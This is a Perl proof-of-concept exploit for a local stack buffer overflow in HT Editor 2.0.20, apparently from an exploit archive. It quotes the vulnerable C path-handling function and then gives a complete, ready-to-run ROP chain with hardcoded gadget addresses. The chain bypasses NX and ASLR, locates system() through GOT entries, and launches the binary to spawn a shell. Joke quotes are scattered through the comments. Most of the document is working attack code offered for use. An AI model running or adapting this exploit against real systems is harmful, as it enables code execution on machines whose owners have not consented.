HT Editor 2.0.20 - Local Buffer Overflow (ROP)

#!/usr/bin/perl
=head1 TITLE

HT Editor 2.0.20 Buffer Overflow (ROP PoC)

=head2 DESCRIPTION

Since version 2.0.18, the stack overflow vulnerability has not been corrected, which I assume would make it 0day?
I consequently recoded an exploit, as memory addresses have changed. I chose to
make it B<bypass NX & ASLR>, SSP not being implemented.
To be honnest, it may be the only interest, as the binary is not SUID.

Remove =begin ...  annotation (at the end) to just print the command line.

=head2 USAGE

perl poc.pl /hte/path



=head3 Code

	int sys_common_canonicalize(char *result, const char *filename, const char *cwd, is_path_delim delim)
	{
		char *o = result;
		if (!sys_path_is_absolute(filename, delim)) {
			if (cwd) strcpy(o, cwd); else return EINVAL; // Our buffer size depends on path length.
			int ol = strlen(o);
			if (ol && !delim(o[ol-1])) {
				o[ol] = '/';
				o[ol+1] = 0;
			}
		} else *o = 0;
		strcat(o, filename); //<-- And here it is, good old unsecure function
		int k = flatten_path(o, delim);
		return (k == 0) ? 0 : EINVAL;
	}

=head3 AUTHORS

 * ZadYree
 * 3LRVS crew

=head3 Note

The path variable (o) is also vulnerable through a strcpy() unsecure call.
Hope developpers will mind correcting both 2.


Voice on T.V.: Is today's hectic lifestyle making you tense and impatient?
Bender: Shut up and get to the point! 
=cut

use 5.010;
use Cwd;

my $bin = shift;
die "[-] Bad filename.\n" unless (-e $bin);

# Let's now dive into
my $pool = [
			## Fry: This snow is beautiful. I'm glad global warming never happened.    ##
			## Leela: Actually, it did. But thank God nuclear winter canceled it out.  ##
				pack('V', 0x80b395e), 		# pop %esi; ret;
				pack('V', 0x81bd518), 		# endwin@GOT
				pack('V', 0x80b5903), 		# mov %esi, %eax; pop pop pop ret;
				pack('V', 0xb00b4dad) x 3, 	# JUNK
				pack('V', 0x813527b), 		# mov (%eax), %eax; add $0x1c, %esp; ret;
				pack('V', 0xabadf00d) x 7, 	# JUNK
				pack('V', 0x813589b), 		# call *%eax;
				
			## 	Amy, technology isn't intrinsecly good or evil, it's how it's used, like the Death Ray. ##
				pack('V', 0x80b395e), 		# pop %esi; ret;
				pack('V', 0x81bd3fc), 		# __cxa_atexit@GOT - 4 // base address whose pointer will help locating system().
				pack('V', 0x80b5903), 		# mov %esi, %eax; pop pop pop ret;
				pack('V', 0xdeadbeef) x 3, 	# JUNK
				pack('V', 0x80c21e6), 		# add %eax, $0x4; ret; // Beat my 8 bit metal ass.
				pack('V', 0x813527b), 		# mov (%eax), %eax; add $0x1c, %esp; ret; // In the game of chess, you can never let your adversary see your pieces.
				pack('V', 0xdeafface) x 7, 	# JUNK
				pack('V', 0x80b395e), 		# pop %esi; ret;
				pack('V', 0x292ceaab),	 	# A number to get the right 
				pack('V', 0x80512a6), 		# add %esi, %eax; pop pop pop ret;
				pack('V', 0xc0b4beef) x 3, 	# JUNK
				pack('V', 0x80d4612), 		# sub eax, 0x292c4e8b ; ret; // I'm not sure. I'm afraid we need to use... MATH.
				pack('V', 0x813589b), 		# call *%eax;
				pack('V', 0x804aa10), 		# exit@plt
				pack('V', 0x816928f), 		# 'sh' string
];

=begin printPayload
my $buff = '"A"x' . (4107 - length(getcwd));

my $rop = join("", map {$_ = '\x' . unpack('H*', $_)} split(//, join("", @$pool)));

my $payload = qq{`perl -e 'print $buff . "$rop";'`};

say $bin . ' ' . $payload;
__END__
=end printPayload
=cut

say "[*] Executing system('sh')";

my $buff = ("A" x (4107 - length(getcwd)));
my $rop = join("", @$pool);
system($bin, $buff . $rop);
say "[+] Got Shell!";